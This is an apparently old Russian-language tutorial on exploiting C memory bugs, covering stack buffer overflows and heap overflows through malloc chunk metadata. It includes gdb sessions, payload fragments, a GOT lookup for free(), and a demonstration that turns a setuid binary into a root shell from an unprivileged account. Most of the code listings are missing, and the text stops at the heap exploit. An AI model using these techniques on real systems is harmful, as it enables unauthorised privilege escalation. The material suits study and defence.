Содержание:
1. Введение
2. Виды атак
3. Buffer Overflow
4. Heap Overflow
5. Buffer Overrun
6. Format String
7. Integer Overflow
8. Common mistakes
9. Полезная информация (ссылки)
-----[ 1 ]-----
Каждый знает, что в наше время, чем дальше прогресс в информационной и
hi-tech сфере, тем больше появляется возможностей альтернативного
применения данных технологий..будь то какое-либо устройство, код
программы или же что-нибудь другое! Чем дальше человек познаёт то, о
чём ранее никто не думал и не исследовал, тем жизнь становится намного
интересней и в то же время опасней. В случае информационной сферы, на
данный момент уже изведаны и открыты достаточно технологий и методов
использования тех или иных недостатков и уязвимостей различных функций
и неумелых (неосторожных) реализаций программистов. Я бы хотел
остановиться на этом подробней!
-----[ 2 ]-----
Какие альтернативные методы на сей день известны публике? Какие методы
атак применяются? Как это не печально, но большенство атак используют
недостатки, особенности или же уязвимости функций какого-либо языка
программирования (у каждого языка свои особенности). И уж после этого
идёт неумелое обращение программиста с теми или иными функция по
следующим причинам: 1) незнание особенно- стей функций 2)
невнимательность 3) неопытность в программировании. Особенно всё это
приемущественно к языку Си, т.к. именно этот язык богат своей свободой
действия, в отличии от того же Pascal'я, где существует ряд
ограничений и контроля над теми или иными ситуациями, методами и
процессами уже на стадии компиляции, т.е. в паскале, к примеру, очень
ведётся контроль (хотя не очень и суровый) за переменными, присекая
некоторые возможные попытки аварийного завершения программы:
переполнение буфера и т.д. Весь этот процесс контроля уже вшит в
процесс компиляции и, в случае какой-нибудь неадекватной ситуации на
стадии компиляции, компилятор сообщает программисту о наличии ошибки.
Что же касается языка Си, то там данного контроля нет и вся
ответственность возлагается на плечи программиста, пишущего программу!
Поэтому очень часто программист допускает такие ситуации в своих
программах, которые приводят к нежелательным последствиям: будь то
простое аварийное завершение или же что-либо ещё. И вот большенство
таких "вольных" допущений со стороны программиста могут быть
использованы в иных (своих, к примеру) целях. Например, для
проникновения в сис-му, краже информации или же чего-либо ещё. То есть
все методы атак рождены не только из-за того, что в каком-либо языке
допущены какие-либо недоработки в функциях или же их особенности,
которые могут быть применены по-иному, но и из-за того, что
программисты не знает данных особенностей функций, языка и некорректно
реализуют свои мысли в программный код, не учитывая все возможные
ситуации в программе. Я предлагаю рассмотреть эти ситуации более менее
подробно.
-----[ 3 ]-----
Данный вид атаки был рождён очень давно, наверное ещё с тех пор, когда
мир ещё использовал компьютеры на перфокартах ;). Данный вид атаки
заключается в том, что в результате каких-либо действий внутри
программы размер данных для той или иной переменной превышают размер
отведённой памяти для этой самой переменной..в результате чего часть
данных попадает на чужой участок памяти и затерает его соответственно,
что может повлечь за собой иной исход работы программы. Вот простой
пример данной ошибки (на языке Си, как и в дальнейшем в данной
статье):
Как можно видеть, размер копируемого текста намного превышает
отведённого для переменной text. В результате чего будут переписаны
чужие данные в жучой области памяти, которая хранится в стэке. Т.е.
технология работы функции языка Си (как и многих других) такова: при
запуске функции программа работает с переменными посредством стека,
сохраняя их в стек, в результате чего при вызове функции программа
помещает переменные объявленые в заголовке функции в стек, после чего
помещает в стек адрес той области памяти, в которой программа
находится на данный момент и перемещается на адрес в памяти, где
находится функция:
Т.к. стек работает по принципу FIFO (First Input First Output), то его
удобно представлять в виде обоймы от автамата Калашникова (то бишь
при добавлении новых элементов, стек растёт вниз)
| |
| |
| |
|_xvarx_| <- далее в стек кладутся переменные по этапно, адреса функций и т.п.
|__ebp__| <- базовый указатель при работе со стеком
|__eip__| <- адрес той области памяти, в которой программа находилась до прыжк
а в функцию
|__var__| <- переменные в заголовке функции, т.е. те, что в скобках функции: i
nt
|x x x x| main(int var1, char var2, float var3, ...)
|x x x x| <- какие-то данные, хранящиеся до вызова процедуры
|_______|
когда оъбём данных превышает отведённое для переменной место, то
непомещающийся кусок данных вылезает за пределы адресного пространства
переменной и стек будет иметь вид при этом:
| |
| |
|n n n n| <- адресное пространство переменной, куда произошло копирование
|w w w w| <- данные, которые не поместились в отведённом для переменной месте,
|w w w w| как видно затёрли всё, что находилось снизу (т.к. стек растёт вни
з)
|w w w w|
|x x x x|
|_______|
в нашем случае всё будет выглядеть так: (я изменил программку так,
чтобы она распечатывала 10 4байтовых элементов стека)
[root@columbia work]# gcc -o 1 1.c
[root@columbia work]# gdb 1
GNU gdb 5.0rh-5 Red Hat Linux 7.1
...
(gdb) br strcpy
Breakpoint 1 at 0x8048380
(gdb) r
Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
где:
40016b64 bffffb4c bffffae8 08048471 08049610 080496ec - данные, что
отвелись под наш буффер, здесь 10 байт слева (сразу хотелось отметить,
что в архитектуре little endian байты заполяются справа на лево, т.е.
<-X<-X<-X<-X , где X - байт): XXXXXXXX XXXXXXXX bfffXXXX 08048471
08049610 080496ec , где 10байт наш буффер...
остальная часть идёт как "мусор"..сразу хотелось бы показать как
выглядит стек при разных размерах отведённой памяти под какую-либо
переменную...в нашем случае под буффер:
-----------------------------------------------------------------------------
(ниже байтами 0x66 помечен наш буффер, чтобы его легче можно было найти)
вот стэк вот при 2х байтов buffer'a:
666697d0 bffffb28 4003a177
при 4:
66666666 bffffb28 4003a177
при 6:
66666666 bfff6666 bffffaf8 080484b1 080496f0 080497d0 bffffb28 4003a177
при 8:
66666666 66666666 bffffb08 4003a177
при 10:
66666666 66666666 bfff6666 080484b1 080496f0 080497d0 bffffb08 4003a177
при 12 :
66666666 66666666 66666666 080484b1 080496f0 080497d0 bffffb18 4003a177
при 16:
66666666 66666666 66666666 66666666 080496f0 080497d0 bffffb28 4003a177
-----------------------------------------------------------------------------
возвращаемся далее к стеку нашей программки:
bffffb18 - ebp
4003a177 - eip
00000001 - argc
bffffb4c - argv
и так далее
Теперь можно посмотреть на содержимое регистров (точнее нас интересуют ebp,eip)
:
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i reg ebp eip
ebp 0x61616161 0x61616161
eip 0x61616161 0x61616161
(gdb)
В результате этого дальнейшее развитие событий (исход работы
программы) уже будет идти непредсказуемо, т.к. некоторые ячейки памяти
были изменены незапланированно.
К чему это может привести? Мало того, что может испортиться содержимое
переменных, что были объявлены ранее той переменной, куда копировались
данные, но и, как отмечалось ранее в стеке так же содержатся адреса
тех областей памяти куда программе стоит вернуться после завершения
функции... а в результате перезаписи могут пострадать так же и адреса
возврата, что приведёт к аварийному завершению программы, т.к. после
завершения функции она попытается прыгнуть по тому адресу, что возник
в результате перезаписи... и не факт, что программа попадёт туда, куда
надо :).
Суть данной проблемы уже сама подкралась к нам, то бишь то, как можно
этим воспользоваться. Мы можем переписать адрес так, чтобы он указывал
на какой-либо машинный код, который предварительно можно поместить в
стек, к примеру. И прыгнув на наш код, программа выполнит те действия,
которые запрограммированы в коде... что может привести к разным
последствиям (обычно, к захвату сис-мы).
Вот небольшой пример того, как можно использовать данную уязвимость:
наша уязвимая программа, которая просто копирует данные, что переданы
ей из командной строки:
Наша программа помещает свой код (именуемый как shellcode) в стек,
после чего создаёт такую строку, которую передаст уязвимой программе,
которая перезапишет адрес возврата на адрес, указывающий на наш код.
Вот как это выглядит визуально:
[root@columbia work]# gcc -o 1 1.c
[root@columbia work]# gcc -o 2 2.c
[root@columbia work]# ./1 AAA
done!
[root@columbia work]# ./1 `perl -e 'print "A"x666'`
done!
Segmentation fault (core dumped)
[root@columbia work]# gdb 1 core
GNU gdb 5.0rh-5 Red Hat Linux 7.1
...
#0 0x41414141 in ?? ()
(gdb) i reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
(gdb) q
[root@columbia work]# chmod ug+s 1
[root@columbia work]# ls -la 1
-rwsr-sr-x 1 root root 13750 Dec 16 13:56 1
[root@columbia work]# su nobody
sh-2.04$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
sh-2.04$ ./2 1000
shellcode addr: 0xbffffca0, offset: 1000
done!
sh-2.04# id
uid=0(root) gid=0(root) groups=99(nobody)
sh-2.04#
Данный вид атаки очень прост в реализации, т.к. нам необходимо знать
только приблизительный адрес до нашего shellcode и не требует знаний
чего-либо ещё. В данном случае программа (exploit) посылает уязвимой
программе строку, несущую в себе только адреса возврата и ничего
более...в результате чего трудно промахнуться ;). Некоторые же просто
передают shellcode вместе с посылаемой строкой уязвимой программе, но
я решил, что это излишество и мой пример будет проще для понимания
(ибо шеллкод можно хранить и в своей программе в таких размерах, в
каких нам захочется и не думать о том, уместится ли шеллкод до того
места, где находится адрес возврата).
-----[ 4 ]-----
Этот вид атаки уже сложнее, нежели тот, что я рассматривал выше, т.к.
в данном случае мы имеем дело в heap областью памяти, то бишь эта
часть адресного пространства не находится в стеке...и использовать те
приёмы, что мы использовали ранее уже не совсем подходят к данному
виду атаки. Давайте рассмотрим её подробней:
во-первых, стоит замолвить слово о том, каким способом отводится место
под переменную в heap пространстве. Для этого существует ряд функций,
которые осуществляют данную операцию:
extern void_star malloc( size_t );
extern void_star calloc( size_t, size_t );
extern void_star realloc( void_star, size_t );
extern void_star malloc();
extern void_star realloc();
extern void_star calloc();
и тому подобные функции.. каждая функция работает по своему, но суть
работы у всех одна и та же :).. особенности и черты описаны в мануале
(man). Функции возвращают указатель на начало области памяти, где было
отведено место под переменную. После работы с отведённой областью
памяти её следует освободить. Чтобы уведомить сис-му о том, что данный
участок свободен используются функции следующего семейства:
extern void free( void_star );
extern void free();
extern void cfree();
Теперь стоит пожалуй рассматреть для начала простенький пример данной
уязвимости (хотя уместней бы здесь сказать, что принцип в данном
простом примере основан опять же на переполнении буффера (затерании
стека) с небольшим вмешательством принципа связанного с heap), суть
которой та же, что и в предыдущей главе - выделяем место под
переменную, которого может не хватить, если мы опять попытаемся туда
засунуть кусок данных, размер которого превосходит размер выделенных
под переменную.
Вот один из примеров (ситуаций породить можно много и все они могут
быть отличными друг от друга) уязвимой программы (которая к тому же
будет распечатывать нам стек, чтобы можно было видеть интересующую нас
информацию без gdb):
Сейчас посмотрим наглядно что и как происходит:
[root@columbia work]# gcc -o 1 1.c
1.c: In function `main':
1.c:6: warning: assignment makes pointer from integer without a cast
[root@columbia work]# ./1 `perl -e 'print "A"x666'`
вот кусок наших данных касающихся переменной b с мусором:
bffffaf8 4000d9b0 4004e420 401489e4 40016b64 bffffb5c bffffaf8
далее идёт 4 байта отведённых под указатель - 080484e1 (адрес до того,
как мы присвоили ему адрес нового отведённого места в heap, причём
этот адрес тоже находится в области heap). После того, как мы выделили
кусок памяти размером в 2 байта этот указатель уже начал смотреть на
другой регион памяти - 080497b8.
Далее...мы производим копирование в буффер b размерностью в 10 байт
(на самом же делее более, чем 10 байт, отводится для нашего буффера b)
информацию , объём которой значительно больше отведённого для буффера
места. В результате чего происходит перезапись нашего
указателя,ebp,eip и многое другое :)...
Теперь глянем причину аварийного завершения:
[root@columbia work]# gdb 1 core
GNU gdb 5.0rh-5 Red Hat Linux 7.1
...
#0 __libc_free (mem=0x41414141) at malloc.c:3036
3036 malloc.c: No such file or directory.
in malloc.c
(gdb) i reg
...
edx 0x41414141 1094795585
...
ebp 0xbffff818 0xbffff818
...
eip 0x4009dce0 0x4009dce0
...
(gdb)
А произошло следующее, когда мы вызываем функцию free() мы передаём ей
параметр, точнее адрес переменной, под которую отводилось
соответствующее кол-во байт и которые теперь надо освободить...а этот
адрес мы заменили на 0x41414141, в результате чего функция пытается
освободить место в памяти, которое вовсе не является heap'ом. Причём,
если бы у нас функция free() не вызывалась, то мы бы переписали наш
eip без особых проблем, а так мы получаем аварийное завершение
программы при вызове free(). Мысль сразу напрашивается к нам: "А что
будет, если мы подсунем какой-нить адрес в heap пространстве на это
место, чтобы функция free() была спокойна?!". Это действительно
обхитрит нашу уязвимую программу:
[root@columbia work]# ./1 `perl -e 'print "A"x28'``printf "xffx84x04x08"``p
erl -e 'print "A"x28'`
...
Segmentation fault (core dumped)
[root@columbia work]# !gd
gdb 1 core
GNU gdb 5.0rh-5 Red Hat Linux 7.1
...
#0 0x41414141 in ?? ()
(gdb)
Как видно, free() уже более не ругается, если ему скормить какой-нить
адрес из heap сегмента (который к тому же должен быть действительным),
но зато у нас аварийное завершение программы, т.к. мы затёрли наш eip.
Далее можно руководствоваться методом, описанным выше. Вот пример
программки, которая использует данную уязвимость: (тут я free() даю
тот же адрес, что и должен быть освобождён, чтобы всё шло своим
чередом, ибо мало ли...если бы программа была построена сложнее, то
могла бы возникнуть ситуация, когда программа лезет к тому участку
памяти, который уже освободили, что нельзя делать.. либо же банальный
core dumped, если данного хипа нет (не выделен то бишь).. поэтому
лучше сразу делать так, чтоб всё было на своих местах)
p=buf;
bzero(buf,sizeof(buf));
memset(p,0x41,28);
p+=28;
*((void **)p)=(void *)(0x080497b8); // это наш адрес указателя a, после
малока
p+=4;
for(i=0;i<=3*24;i+=4) { *(long *)(p+i)=ret; }
Кстати, должен отметить, что если бы мы копировали в "a", то ничего бы
не получилось, точнее мы бы не достигли желаемого результата, т.к.
спереди "а" не было проинициализированно ни одной переменной (то бишь
не было выделено место спереди "а"). Единственное, что нам бы удалось
сделать, так это заполнить весь heap нашими данными и дойти до
регистра eax, после затерания которого наша программа завершилась бы
аварийно. Т.е. в этом случае, когда копирование идёт (не в стеке!!!) в
"чистую" (она забита нулями) область heap, то нам не удастся
перезаписать чтолибо, если спереди нет выделенных под что-то
мест...кроме как eax.
Вот наглядный пример этого: (я взял тот же самый исходник уязвимой
программы, что написал выше, только теперь я копирую данные в "а")
[root@columbia work]# gcc -o 1 1.c
1.c: In function `main':
1.c:6: warning: assignment makes pointer from integer without a cast
[root@columbia work]# ./1 `perl -e 'print "A"x666'`
Как я и говорил, мы не затронули стек в данном случае...ибо наш
указатель указывает на сегмент heap, где отведена память. Туда и
происходит копирование.. А так как мы выделили в нашей программе место
для "a" в самую последнюю очередь, то соответственно была отведена
память свободная (в heap'e), что выше расположена.. При этом, если бы
мы до этого, к примеру, выделяли память в том же heap'e для каких-либо
других переменных, то ситуация бы была та же, т.к. как я и сказал
выделение происходит по такой схеме:
вот пример программы:
...
char *a,*b,*c;
...
a=malloc(2);
b=malloc(55);
c=malloc(100);
...
free(c);
free(b);
free(a);
...
заполнение heap региона для этой программы: (заполнение сверху вниз, для удобст
ва)
_____
|[ a ]| <- начало нашей heap области, где выделяется область для "a"
|[ b ]| <- место, отводимое для "b"
|[ c ]| <- место, отводимое для "с"
| | <- пустое (незанятое) пространство
| |
Т.е. если мы будем копировать в "a" большой кусок данных, который
затрёт чужую область памяти (b,c), то произойдёт аварийное завершение
программы при вызове free(). А если же копирование будет
осуществляться в "c", то мы можем копировать туда столько данных,
сколько нам позволит отведённая heap область, пока не затрём eax ;)
Вот визуальный пример: (передадим столько данных, чтобы смогли
затереть eax)
[root@columbia work]# ./1 `perl -e 'print "A"x6666'`
----------------
stack: 401489e4 40016b64 40131c6e bfffe0f8 4000d9b0 4004e420 401489e4 40016b64
bfffe15c bfffe0f8 080497b8 080496b0 08049794 bfffe128 4003a177 00000002 bfffe15
c
bfffe168 08048366 080485b0
----------------
Segmentation fault (core dumped)
[root@columbia work]# gdb 1 core
GNU gdb 5.0rh-5 Red Hat Linux 7.1
...
#0 strcpy (dest=0x80497b8 'A' ..., src=0xbfffe25f 'A' <repeats 200 times>...)
at ../sysdeps/generic/strcpy.c:40
40 ../sysdeps/generic/strcpy.c: No such file or directory.
in ../sysdeps/generic/strcpy.c
(gdb) i reg eax
eax 0x41 65
(gdb)
Теперь хочу рассмотреть пример сложней (касающийся именно принципа
heap непосредственно в чистом виде), когда у нас случай с 2мя
heap'ами, которые выделены последовательно и, в тот, что выделился
ранее идёт копирование данных, без учёта контроля длины:
Предлагаю рассмотреть данный пример уязвимой программы:
Как и было описано выше на элементарном языке heap в данном случае
будет заполнен таким образом:
_____
|[ a ]|
|[ b ]|
| |
| |
Давайте посмотрим, что собственно происходит:
[root@columbia work]# !gc
gcc -o 1 1.c
1.c: In function `main':
1.c:6: warning: assignment makes pointer from integer without a cast
1.c:7: warning: assignment makes pointer from integer without a cast
[root@columbia work]# gdb 1
...
(gdb) r `perl -e 'print "A"x12'`
Starting program: /usr/lib/lib.so.6/work/1 `perl -e 'print "A"x12'`
Program received signal SIGSEGV, Segmentation fault.
0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142
3142 malloc.c: No such file or directory.
in malloc.c
Здесь видно, что изначально наши указатели имели адреса в heap области
такие - 08049710 080497f4. ПОсле malloc(2) им присвоились другие
адреса:
a=0x8049818, b=0x8049828, b-a=0x10
Причем как видно, разность между адресами 0х10 (16 байт). Первое, что
напрашивается в голову - вопрос о том, почему именно такое расстояние
между адресами, т.е. почему вместо 2х байт под "а" выделилось 16 байт.
Рассмотрим данную программку:
Предлагаю просто понаблюдать за тем, как выделяется память в heap под
разные запрашиваемые размеры для переменной "а":
[root@columbia work]# gcc -o 3 3.c
3.c: In function `main':
3.c:3: warning: assignment makes pointer from integer without a cast
3.c:4: warning: assignment makes pointer from integer without a cast
[root@columbia work]# ./3 1 10
a=0x8049728, b=0x8049738, b-a=0x10
[root@columbia work]# ./3 12 10
a=0x8049728, b=0x8049738, b-a=0x10
[root@columbia work]# ./3 13 10
a=0x8049728, b=0x8049740, b-a=0x18
[root@columbia work]# ./3 21 10
a=0x8049728, b=0x8049748, b-a=0x20
[root@columbia work]# ./3 29 10
a=0x8049728, b=0x8049750, b-a=0x28
[root@columbia work]# ./3 36 10
a=0x8049728, b=0x8049750, b-a=0x28
[root@columbia work]# ./3 37 10
a=0x8049728, b=0x8049758, b-a=0x30
[root@columbia work]# ./3 45 10
a=0x8049728, b=0x8049760, b-a=0x38
Если теперь мы составим распределение в виде таблички, то увидим:
Запрос на | Кол-во выделившихся
выделение | Байт
Н байт под |
переменную |
----------------------------------
0..12 | 16 (0х10)
13..21 | 24 (0х18)
21..29 | 32 (0х20)
29..37 | 40 (0х28)
----------------------------------
Т.е. отводится сразу по 8 байт начиная с рубежа 13 (до 13 сразу же
отводится 16 байт)
Теперь давайте вернёмся к нашему примеру и попробуем посмотреть, что
случится, если мы подадим запрос размером в 12 символов (т.е. у нас
0х00 - конец строки будет 13ый байтом..и мы им должны будем затереть
конечный участок выделенного адреса под "а"):
(gdb) br strcpy
Breakpoint 1 at 0x400a38ba: file ../sysdeps/generic/strcpy.c, line 34.
(gdb) br printf
Breakpoint 2 at 0x4007d5e6: file printf.c, line 32.
(gdb) r `perl -e 'print "A"x12'`
...
(gdb) c
Continuing.
a=0x8049818, b=0x8049828, b-a=0x10
Breakpoint 1, strcpy (dest=0x8049818 "", src=0xbffffc5b 'A' <repeats 12 times>)
at ../sysdeps/generic/strcpy.c:34
34 ../sysdeps/generic/strcpy.c: No such file or directory.
in ../sysdeps/generic/strcpy.c
(gdb) x/10x 0x8049818
0x8049818: 0x00000000 0x00000000 0x00000000 0x00000011
0x8049828: 0x00000000 0x00000000 0x00000000 0x000007d1
0x8049838: 0x00000000 0x00000000
Вот содержимое 2х буфферов, на каждый из которого было выделенно по 16
байт, причем начиная с 13ого байта, у нас что-то прописано...пока не
будем вдаваться в подробности что (мы рассмотрим это строчками ниже),
но сразу мысль закрадывается о том, что данная информация помогает
функциям malloc()/free() ориентироваться в heap пространстве, разделяя
области памяти, выделенные под разные переменные.
(gdb) c
Continuing.
Вот мы затёрли 13ым (0х00) байтом ту самую, пока непонятную нам,
информацию.. посмотрим, что из этого выйдет:
(gdb) c
...
Program received signal SIGSEGV, Segmentation fault.
0x4009dfb6 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3142
3142 malloc.c: No such file or directory.
in malloc.c
Программа завершилась аварийно, т.к. функция free() не смогла
правильно определить информацию, которая отводилась для "b" (именно
для "b".. это будет показано далее, когда затронется принцип работы
malloc'a)
Это можно наблюдать используя ltrace: (чтобы удостовериться, что при
освобождении "b" у нас происходит аварийное завершение программы)
[root@columbia work]# ltrace ./1 `perl -e 'print "A"x12'`
...
malloc(2) = 0x08049818
malloc(2) = 0x08049828
...
free(0x08049818) = <void>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
[root@columbia work]#
Теперь можно попробовать вернуть на место 11 и посмотреть, что будет:
(gdb) r `perl -e 'print "A"x12'``printf "x11"`
...
Program exited normally.
(gdb)
А теперь попробуем сделать так:
(gdb) r `perl -e 'print "A"x12'``printf "x11x41"`
...
Program received signal SIGSEGV, Segmentation fault.
0x4009ddf0 in chunk_free (ar_ptr=0x40146f00, p=0x8049810) at malloc.c:3131
3131 malloc.c: No such file or directory.
in malloc.c
Кстати, перед "а" тоже содержится тот же 0х11 байт, так сказать метка
о начале чужого куска данных (или лучше сказать метка указывающая на
то, что далее идёт чужая область данных):
(gdb) x/10x 0x8049810
0x8049810: 0x00000000 0x00000011 0x41414141 0x41414141
0x8049820: 0x41414141 0x00004111 0x00000000 0x00000000
0x8049830: 0x00000000 0x000007d1
(gdb)
Теперь пришло время узнать то, как работают функции malloc() и free():
(если кому-то интересно углубиться в работу этих функций, то они могут
посмотреть соответствующие исходные тексты функций)
Хмм.. тогда спрашивается, а что такое за 0x07d1, который расположен
после всех выделенных кусков под переменные "а" и "b" ?? По всей
видимости эта метка указывающая на то, что с этого момента можно
выделять новые куски в heap'e под другие какие-нибудь переменные..
Т.е. эта метка служит для функции malloc() указателем, который
указывает на то место, откуда стоит начинать выделять байты под
переменные!
Вот описание структуры malloc_chunk:
#define INTERNAL_SIZE_T size_t
при вызове malloc() происходит следующее заполнение heap сегмента:
<prev_size (размер предыдущего chunk'a)> <size размер chunk'a мужду
данным и следующим chunk'ом> <fd><bk><место для данных под переменную>
Или как было показано выше:
<метка начала><данные><метка конца>
При повторном выделении хип примет такую форму:
<метка начала><данные> <метка начала других данных><данные><метка
конца>
И т.д.
Соответственно нам нужно подделать эти данные, чтобы добиться
желаемого успеха - эксплуитации.
Для того, чтобы написать exploit мы должны узнать GOT(Global Offset
Table, которая входит в состав любой программы) адрес функции free():
[root@columbia work]# objdump -R ./1 | grep free
08049748 R_386_JUMP_SLOT free
[root@columbia work]#
Теперь предлагаю пример программы, которая использует эту уязвимость: